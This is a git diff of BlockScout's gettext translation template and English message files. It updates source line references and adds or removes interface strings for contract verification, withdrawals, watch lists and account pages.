lib/block_scout_web/templates/transaction/overview.html.eex:459 #, elixir-autogen, elixir-format msgid "User-defined tip sent to validator for transaction priority/inclusion." msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:224 +#: lib/block_scout_web/templates/block/overview.html.eex:226 +#: lib/block_scout_web/templates/block/overview.html.eex:226 #, elixir-autogen, elixir-format msgid "User-defined tips sent to validator for transaction priority/inclusion." msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:52 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:56 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:56 #, elixir-autogen, elixir-format msgid "Validated" msgstr "" +#: lib/block_scout_web/templates/transaction/index.html.eex:12 #: lib/block_scout_web/templates/transaction/index.html.eex:12 #, elixir-autogen, elixir-format msgid "Validated Transactions" msgstr "" +#: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:30 #: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:30 #, elixir-autogen, elixir-format msgid "Validator Creation Date" msgstr "" +#: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:5 #: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:5 #, elixir-autogen, elixir-format msgid "Validator Data" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:51 +#: lib/block_scout_web/templates/address/overview.html.eex:86 +#: lib/block_scout_web/templates/address/overview.html.eex:86 #, elixir-autogen, elixir-format -msgid "Validator Info" +msgid "Validator Name" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:104 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:32 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:32 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:26 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:26 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:26 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:26 #, elixir-autogen, elixir-format -msgid "Validator Name" +msgid "Validator index" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:315 +#: lib/block_scout_web/templates/transaction/overview.html.eex:369 +#: lib/block_scout_web/templates/transaction/overview.html.eex:369 #, elixir-autogen, elixir-format msgid "Value" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:314 +#: lib/block_scout_web/templates/transaction/overview.html.eex:368 +#: lib/block_scout_web/templates/transaction/overview.html.eex:368 #, elixir-autogen, elixir-format msgid "Value sent in the native token (and USD) if applicable." msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:82 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:17 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:17 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:15 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:15 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:81 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:81 +#, elixir-autogen, elixir-format +msgid "Verified" +msgstr "" + +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:18 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:18 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:6 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:6 +#, elixir-autogen, elixir-format +msgid "Verified Contracts" +msgstr "" + +#: lib/block_scout_web/templates/address_contract/index.html.eex:88 +#: lib/block_scout_web/templates/address_contract/index.html.eex:88 #, elixir-autogen, elixir-format msgid "Verified at" msgstr "" +#: lib/block_scout_web/templates/layout/_topnav.html.eex:69 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:69 +#, elixir-autogen, elixir-format +msgid "Verified contracts" +msgstr "" + +#: lib/block_scout_web/templates/verified_contracts/_metatags.html.eex:2 +#: lib/block_scout_web/templates/verified_contracts/_metatags.html.eex:2 +#, elixir-autogen, elixir-format +msgid "Verified contracts - %{subnetwork} Explorer" +msgstr "" + +#: lib/block_scout_web/templates/verified_contracts/_metatags.html.eex:7 +#: lib/block_scout_web/templates/verified_contracts/_metatags.html.eex:7 +#, elixir-autogen, elixir-format +msgid "Verified contracts, %{subnetwork}, %{coin}" +msgstr "" + #: lib/block_scout_web/templates/address_contract/index.html.eex:27 +#: lib/block_scout_web/templates/address_contract/index.html.eex:27 +#: lib/block_scout_web/templates/address_contract/index.html.eex:29 #: lib/block_scout_web/templates/address_contract/index.html.eex:29 -#: lib/block_scout_web/templates/address_contract/index.html.eex:160 -#: lib/block_scout_web/templates/address_contract/index.html.eex:166 #: lib/block_scout_web/templates/address_contract/index.html.eex:197 -#: lib/block_scout_web/templates/address_contract/index.html.eex:203 +#: lib/block_scout_web/templates/address_contract/index.html.eex:197 +#: lib/block_scout_web/templates/address_contract/index.html.eex:228 +#: lib/block_scout_web/templates/address_contract/index.html.eex:228 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:14 #: lib/block_scout_web/templates/smart_contract/_functions.html.eex:14 #, elixir-autogen, elixir-format msgid "Verify & Publish" msgstr "" -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:141 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:111 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:111 #: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:37 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:137 +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:37 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:103 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:103 +#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:51 #: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:51 #: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:47 +#: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:47 #, elixir-autogen, elixir-format msgid "Verify & publish" msgstr "" +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:10 #: lib/block_scout_web/templates/address_logs/_logs.html.eex:10 #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:12 +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:12 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:10 #: lib/block_scout_web/templates/transaction_log/_logs.html.eex:10 #, elixir-autogen, elixir-format msgid "Verify the contract " msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:89 +#: lib/block_scout_web/templates/layout/_footer.html.eex:93 +#: lib/block_scout_web/templates/layout/_footer.html.eex:93 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:72 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:72 #, elixir-autogen, elixir-format msgid "Version" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:33 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:33 #, elixir-autogen, elixir-format msgid "Via Sourcify: Sources and metadata JSON file" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:27 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:27 #, elixir-autogen, elixir-format msgid "Via Standard Input JSON" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:22 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:22 #, elixir-autogen, elixir-format msgid "Via flattened source code" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:40 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:40 #, elixir-autogen, elixir-format msgid "Via multi-part files" msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:152 +#: lib/block_scout_web/templates/chain/show.html.eex:155 +#: lib/block_scout_web/templates/chain/show.html.eex:155 #, elixir-autogen, elixir-format msgid "View All Blocks" msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:212 +#: lib/block_scout_web/templates/chain/show.html.eex:215 +#: lib/block_scout_web/templates/chain/show.html.eex:215 #, elixir-autogen, elixir-format msgid "View All Transactions" msgstr "" #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:16 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:16 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:20 #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:20 #, elixir-autogen, elixir-format msgid "View Contract" msgstr "" -#: lib/block_scout_web/templates/transaction/_tile.html.eex:67 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:73 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:73 #, elixir-autogen, elixir-format msgid "View Less Transfers" msgstr "" -#: lib/block_scout_web/templates/transaction/_tile.html.eex:66 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:72 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:72 #, elixir-autogen, elixir-format msgid "View More Transfers" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:39 #: lib/block_scout_web/templates/block/overview.html.eex:39 #, elixir-autogen, elixir-format msgid "View next block" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:23 #: lib/block_scout_web/templates/block/overview.html.eex:23 #, elixir-autogen, elixir-format msgid "View previous block" msgstr "" +#: lib/block_scout_web/templates/address/_metatags.html.eex:9 #: lib/block_scout_web/templates/address/_metatags.html.eex:9 #, elixir-autogen, elixir-format msgid "View the account balance, transactions, and other data for %{address} on the %{network}" msgstr "" +#: lib/block_scout_web/templates/withdrawal/_metatags.html.eex:8 +#: lib/block_scout_web/templates/withdrawal/_metatags.html.eex:8 +#, elixir-autogen, elixir-format +msgid "View the beacon chain withdrawals on %{subnetwork}" +msgstr "" + +#: lib/block_scout_web/templates/block/_metatags.html.eex:10 #: lib/block_scout_web/templates/block/_metatags.html.eex:10 #, elixir-autogen, elixir-format msgid "View the transactions, token transfers, and uncles for block number %{block_number}" msgstr "" +#: lib/block_scout_web/templates/verified_contracts/_metatags.html.eex:8 +#: lib/block_scout_web/templates/verified_contracts/_metatags.html.eex:8 +#, elixir-autogen, elixir-format +msgid "View the verified contracts on %{subnetwork}" +msgstr "" + +#: lib/block_scout_web/templates/transaction/_metatags.html.eex:10 #: lib/block_scout_web/templates/transaction/_metatags.html.eex:10 #, elixir-autogen, elixir-format msgid "View transaction %{transaction} on %{subnetwork}" msgstr "" +#: lib/block_scout_web/templates/verified_contracts/_contract.html.eex:28 +#: lib/block_scout_web/templates/verified_contracts/_contract.html.eex:28 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:32 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:32 +#: lib/block_scout_web/views/verified_contracts_view.ex:11 +#: lib/block_scout_web/views/verified_contracts_view.ex:11 +#, elixir-autogen, elixir-format +msgid "Vyper" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:46 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:46 #, elixir-autogen, elixir-format msgid "Vyper contract" msgstr "" -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:145 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:142 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:142 #, elixir-autogen, elixir-format msgid "WEI" msgstr "" +#: lib/block_scout_web/templates/smart_contract/_pending_contract_write.html.eex:9 #: lib/block_scout_web/templates/smart_contract/_pending_contract_write.html.eex:9 #, elixir-autogen, elixir-format msgid "Waiting for transaction's confirmation..." msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:138 +#: lib/block_scout_web/templates/chain/show.html.eex:141 +#: lib/block_scout_web/templates/chain/show.html.eex:141 #, elixir-autogen, elixir-format msgid "Wallet addresses" msgstr "" +#: lib/block_scout_web/templates/common_components/_changed_bytecode_warning.html.eex:3 #: lib/block_scout_web/templates/common_components/_changed_bytecode_warning.html.eex:3 #, elixir-autogen, elixir-format msgid "Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky." msgstr "" -#: lib/block_scout_web/views/wei_helpers.ex:76 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:7 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:7 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:7 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:7 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:15 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:15 +#, elixir-autogen, elixir-format +msgid "Watch list" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:77 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:77 +#, elixir-autogen, elixir-format +msgid "We recommend using flattened code. This is necessary if your code utilizes a library or inherits dependencies. Use the" +msgstr "" + +#: lib/block_scout_web/views/wei_helper.ex:80 +#: lib/block_scout_web/views/wei_helper.ex:80 #, elixir-autogen, elixir-format msgid "Wei" msgstr "" -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:109 +#: lib/block_scout_web/templates/address/_tabs.html.eex:29 +#: lib/block_scout_web/templates/address/_tabs.html.eex:29 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:13 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:13 +#: lib/block_scout_web/templates/block/_tabs.html.eex:13 +#: lib/block_scout_web/templates/block/_tabs.html.eex:13 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:73 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:73 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:5 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:5 +#, elixir-autogen, elixir-format +msgid "Withdrawals" +msgstr "" + +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:106 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:106 #, elixir-autogen, elixir-format msgid "Write" msgstr "" +#: lib/block_scout_web/templates/address/_tabs.html.eex:95 #: lib/block_scout_web/templates/address/_tabs.html.eex:95 #: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:34 -#: lib/block_scout_web/views/address_view.ex:368 +#: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:34 +#: lib/block_scout_web/views/address_view.ex:359 +#: lib/block_scout_web/views/address_view.ex:359 #, elixir-autogen, elixir-format msgid "Write Contract" msgstr "" +#: lib/block_scout_web/templates/address/_tabs.html.eex:102 #: lib/block_scout_web/templates/address/_tabs.html.eex:102 #: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:48 -#: lib/block_scout_web/views/address_view.ex:369 +#: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:48 +#: lib/block_scout_web/views/address_view.ex:360 +#: lib/block_scout_web/views/address_view.ex:360 #, elixir-autogen, elixir-format msgid "Write Proxy" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_fetch_constructor_args.html.eex:14 #: lib/block_scout_web/templates/address_contract_verification_common_fields/_fetch_constructor_args.html.eex:14 #: lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex:14 -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:47 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex:14 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex:14 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex:14 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:51 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:51 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:43 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:43 #, elixir-autogen, elixir-format msgid "Yes" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:129 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:18 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:18 +#, elixir-autogen, elixir-format +msgid "You can create 3 API keys per account." +msgstr "" + +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:18 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:18 +#, elixir-autogen, elixir-format +msgid "You can create up to 15 Custom ABIs per account." +msgstr "" + +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:14 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:14 +#, elixir-autogen, elixir-format +msgid "You don't have address tags yet" +msgstr "" + +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:14 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:14 +#, elixir-autogen, elixir-format +msgid "You don't have addresses on you watchlist yet" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:14 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:14 +#, elixir-autogen, elixir-format +msgid "You don't have transaction tags yet" +msgstr "" + +#: lib/block_scout_web/templates/error422/index.html.eex:8 +#: lib/block_scout_web/templates/error422/index.html.eex:8 +#, elixir-autogen, elixir-format +msgid "Your request contained an error, perhaps a mistyped tx/block/address hash. Try again, and check the developer tools console for more info." +msgstr "" + +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:38 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:38 +#: lib/block_scout_web/views/verified_contracts_view.ex:12 +#: lib/block_scout_web/views/verified_contracts_view.ex:12 +#, elixir-autogen, elixir-format +msgid "Yul" +msgstr "" + +#: lib/block_scout_web/templates/address/overview.html.eex:111 +#: lib/block_scout_web/templates/address/overview.html.eex:111 #, elixir-autogen, elixir-format msgid "at" msgstr "" +#: lib/block_scout_web/templates/address_token/overview.html.eex:52 #: lib/block_scout_web/templates/address_token/overview.html.eex:52 #, elixir-autogen, elixir-format msgid "balance of the address" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:403 +#: lib/block_scout_web/templates/transaction/overview.html.eex:469 +#: lib/block_scout_web/templates/transaction/overview.html.eex:469 #, elixir-autogen, elixir-format -msgid "burned for this transaction. Equals Block Base Fee per Gas * Gas Used." +msgid "burnt for this transaction. Equals Block Base Fee per Gas * Gas Used." msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:215 +#: lib/block_scout_web/templates/block/overview.html.eex:217 +#: lib/block_scout_web/templates/block/overview.html.eex:217 #, elixir-autogen, elixir-format -msgid "burned from transactions included in the block (Base fee (per unit of gas) * Gas Used)." +msgid "burnt from transactions included in the block (Base fee (per unit of gas) * Gas Used)." msgstr "" +#: lib/block_scout_web/templates/address_contract/index.html.eex:27 #: lib/block_scout_web/templates/address_contract/index.html.eex:27 #, elixir-autogen, elixir-format msgid "button" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:223 +#: lib/block_scout_web/templates/transaction/overview.html.eex:276 +#: lib/block_scout_web/templates/transaction/overview.html.eex:276 #, elixir-autogen, elixir-format msgid "created" msgstr "" +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:12 #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:12 #, elixir-autogen, elixir-format msgid "custom RPC" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:167 +#: lib/block_scout_web/templates/address/overview.html.eex:151 +#: lib/block_scout_web/templates/address/overview.html.eex:151 #, elixir-autogen, elixir-format msgid "doesn't include ERC20, ERC721, ERC1155 tokens)." msgstr "" +#: lib/block_scout_web/templates/common_components/_rap_pagination_container.html.eex:13 #: lib/block_scout_web/templates/common_components/_rap_pagination_container.html.eex:13 #, elixir-autogen, elixir-format msgid "elements are displayed" msgstr "" -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:41 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:44 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:44 #, elixir-autogen, elixir-format msgid "fallback" msgstr "" -#: lib/block_scout_web/views/address_contract_view.ex:24 +#: lib/block_scout_web/views/address_contract_view.ex:33 +#: lib/block_scout_web/views/address_contract_view.ex:33 #, elixir-autogen, elixir-format msgid "false" msgstr "" +#: lib/block_scout_web/templates/csv_export/index.html.eex:14 +#: lib/block_scout_web/templates/csv_export/index.html.eex:14 +#, elixir-autogen, elixir-format +msgid "for address" +msgstr "" + +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:10 #: lib/block_scout_web/templates/address_logs/_logs.html.eex:10 #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:12 +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:12 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:10 #: lib/block_scout_web/templates/transaction_log/_logs.html.eex:10 #, elixir-autogen, elixir-format msgid "here" msgstr "" +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:9 #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:9 #, elixir-autogen, elixir-format msgid "here." msgstr "" -#: lib/block_scout_web/templates/transaction/invalid.html.eex:8 -#, elixir-autogen, elixir-format -msgid "is not a valid transaction hash" -msgstr "" - +#: lib/block_scout_web/templates/smart_contract/_function_response.html.eex:3 #: lib/block_scout_web/templates/smart_contract/_function_response.html.eex:3 #, elixir-autogen, elixir-format msgid "method Response" msgstr "" +#: lib/block_scout_web/templates/common_components/_pagination_container.html.eex:41 #: lib/block_scout_web/templates/common_components/_pagination_container.html.eex:41 #, elixir-autogen, elixir-format msgid "of" msgstr "" +#: lib/block_scout_web/templates/layout/app.html.eex:100 +#: lib/block_scout_web/templates/layout/app.html.eex:100 +#, elixir-autogen, elixir-format +msgid "on sign up. Didn’t receive?" +msgstr "" + +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:16 #: lib/block_scout_web/templates/smart_contract/_functions.html.eex:16 #, elixir-autogen, elixir-format msgid "page" msgstr "" -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:43 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:46 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:46 #, elixir-autogen, elixir-format msgid "receive" msgstr "" #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:58 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:58 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:69 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:69 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:81 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:81 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:70 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:70 #, elixir-autogen, elixir-format msgid "required" msgstr "" #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:59 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:59 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:70 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:70 #, elixir-autogen, elixir-format msgid "string" msgstr "" -#: lib/block_scout_web/views/address_contract_view.ex:23 -#, elixir-autogen, elixir-format -msgid "true" -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:92 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:86 +#: lib/block_scout_web/templates/csv_export/index.html.eex:17 +#: lib/block_scout_web/templates/csv_export/index.html.eex:17 #, elixir-autogen, elixir-format -msgid "A library name called in the .sol file. Multiple libraries (up to 5) may be added for each contract. Click the Add Library button to add an additional one." +msgid "to CSV file" msgstr "" -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:82 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:76 -#, elixir-autogen, elixir-format -msgid "Add Contract Libraries" -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:127 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:121 -#, elixir-autogen, elixir-format -msgid "Add Library" -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:72 -#, elixir-autogen, elixir-format -msgid "Drop all Solidity contract source files into the drop zone." -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:30 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:26 -#, elixir-autogen, elixir-format -msgid "EVM version details" -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:52 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:48 -#, elixir-autogen, elixir-format -msgid "If you enabled optimization during compilation, select yes." -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:18 -#, elixir-autogen, elixir-format -msgid "Must match the name specified in the code. For example, in contract MyContract {..} MyContract is the contract name." -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:73 -#, elixir-autogen, elixir-format -msgid "POA solidity flattener or the" -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:98 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:92 -#, elixir-autogen, elixir-format -msgid "The 0x library address. This can be found in the generated json file or Truffle output (if using truffle)." -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:30 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:26 -#, elixir-autogen, elixir-format -msgid "The EVM version the contract is written for. If the bytecode does not match the version, we try to verify using the latest EVM version." -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:22 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:18 -#, elixir-autogen, elixir-format -msgid "The compiler version is specified in pragma solidity X.X.X. Use the compiler version rather than the nightly build. If using the Solidity compiler, run solc —version to check." -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:73 +#: lib/block_scout_web/views/address_contract_view.ex:32 +#: lib/block_scout_web/views/address_contract_view.ex:32 #, elixir-autogen, elixir-format -msgid "We recommend using flattened code. This is necessary if your code utilizes a library or inherits dependencies. Use the" +msgid "true" msgstr "" -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:73 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:77 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:77 #, elixir-autogen, elixir-format msgid "truffle flattener" msgstr "" - -#: lib/block_scout_web/templates/transaction_raw_trace/index.html.eex:23 -#, elixir-autogen, elixir-format -msgid "No trace entries found." -msgstr "" - -#: lib/block_scout_web/templates/page_not_found/index.html.eex:7 -#, elixir-autogen, elixir-format -msgid "Page not found" -msgstr "" - -#: lib/block_scout_web/templates/page_not_found/index.html.eex:8 -#, elixir-autogen, elixir-format -msgid "The requested path was not found on BlockScout." -msgstr "" diff --git a/apps/block_scout_web/priv/gettext/en/LC_MESSAGES/default.po b/apps/block_scout_web/priv/gettext/en/LC_MESSAGES/default.po index be81fc4f99d0..c09d63d939b2 100644 --- a/apps/block_scout_web/priv/gettext/en/LC_MESSAGES/default.po +++ b/apps/block_scout_web/priv/gettext/en/LC_MESSAGES/default.po @@ -1,2878 +1,4716 @@ -#: lib/block_scout_web/views/address_token_balance_view.ex:10 -#, elixir-autogen, elixir-format -msgid "%{count} token" -msgid_plural "%{count} tokens" -msgstr[0] "" -msgstr[1] "" - -#: lib/block_scout_web/templates/block/_tile.html.eex:29 -#, elixir-autogen, elixir-format -msgid "%{count} transaction" -msgid_plural "%{count} transactions" -msgstr[0] "" -msgstr[1] "" +## "msgid"s in this file come from POT (.pot) files. +### +### Do not add, change, or remove "msgid"s manually here as +### they're tied to the ones in the corresponding POT file +### (with the same domain). +### +### Use "mix gettext.extract --merge" or "mix gettext.merge" +### to merge POT files into PO files. +msgid "" +msgstr "" +"Language: en\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" +#: lib/block_scout_web/templates/common_components/_minimal_proxy_pattern.html.eex:9 #: lib/block_scout_web/templates/common_components/_minimal_proxy_pattern.html.eex:9 #, elixir-autogen, elixir-format msgid " - minimal bytecode implementation that delegates all calls to a known address" msgstr "" +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:14 #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:14 #, elixir-autogen, elixir-format msgid " is recommended." msgstr "" +#: lib/block_scout_web/templates/address/_metatags.html.eex:3 #: lib/block_scout_web/templates/address/_metatags.html.eex:3 #, elixir-autogen, elixir-format msgid "%{address} - %{subnetwork} Explorer" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:12 #: lib/block_scout_web/templates/block/overview.html.eex:12 #, elixir-autogen, elixir-format msgid "%{block_type} Details" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:55 #: lib/block_scout_web/templates/block/overview.html.eex:55 #, elixir-autogen, elixir-format msgid "%{block_type} Height" msgstr "" +#: lib/block_scout_web/templates/block/index.html.eex:7 #: lib/block_scout_web/templates/block/index.html.eex:7 #, elixir-autogen, elixir-format msgid "%{block_type}s" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:85 #: lib/block_scout_web/templates/block/overview.html.eex:85 #, elixir-autogen, elixir-format msgid "%{count} Transaction" msgstr "" #: lib/block_scout_web/templates/block/overview.html.eex:87 +#: lib/block_scout_web/templates/block/overview.html.eex:87 +#: lib/block_scout_web/templates/chain/_block.html.eex:11 #: 